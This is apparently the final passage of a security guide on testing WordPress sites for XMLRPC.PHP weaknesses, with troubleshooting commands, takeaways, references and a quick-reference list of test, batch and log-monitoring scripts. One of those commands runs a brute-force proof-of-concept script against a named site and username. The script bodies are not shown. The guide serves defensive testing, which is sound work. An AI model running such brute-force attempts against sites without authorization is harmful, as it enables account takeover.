python3 -m pip install requests

10.3. Permission Denied Errors

# Make sure scripts are executable
chmod +x ~/xmlrpc_test.py

# Or run with python3 directly
python3 ~/xmlrpc_test.py https://example.com

11. Conclusion

The WordPress XMLRPC.PHP interface represents a significant security risk that many site owners are unaware of. The system.multicall method’s ability to amplify brute force attacks by several orders of magnitude makes it a favorite tool for attackers.

By using the testing scripts provided in this guide optimized for macOS, you can quickly determine if your WordPress sites are vulnerable. The color coded output and clear vulnerability verdicts make it easy to understand your security posture at a glance.

Key Takeaways

  • Test regularly: Run the main test script monthly on all your WordPress sites
  • Act on findings: If the script returns “CRITICALLY VULNERABLE”, take immediate action
  • Disable when possible: XMLRPC should be disabled unless you have a specific need for it
  • Monitor continuously: Set up automated monitoring to catch attacks early
  • Layer your security: Use multiple protection methods (firewall + plugin + monitoring)

Quick Reference Commands

# Quick test of a single site
~/xmlrpc_test.py https://your-site.com

# Proof of concept demonstration
~/xmlrpc_poc.py https://your-site.com testuser 10

# Batch test multiple sites
~/xmlrpc_batch_test.py ~/wordpress_sites.txt

# Monitor server logs for attacks
~/check_xmlrpc_attacks.sh ~/access.log 10

Remember: Security is an ongoing process, not a one time fix. Stay vigilant and keep your WordPress installations protected.

12. References and Further Reading

  • WordPress XMLRPC Documentation: https://codex.wordpress.org/XML-RPC_Support
  • OWASP Brute Force Attacks: https://owasp.org/www-community/attacks/Brute_force_attack
  • WordPress Security Hardening: https://wordpress.org/support/article/hardening-wordpress/
  • macOS Terminal Guide: https://support.apple.com/guide/terminal/welcome/mac

All scripts in this guide are for educational and security testing purposes only. Always obtain proper authorization before testing any system, and only test WordPress sites that you own or have explicit permission to assess.

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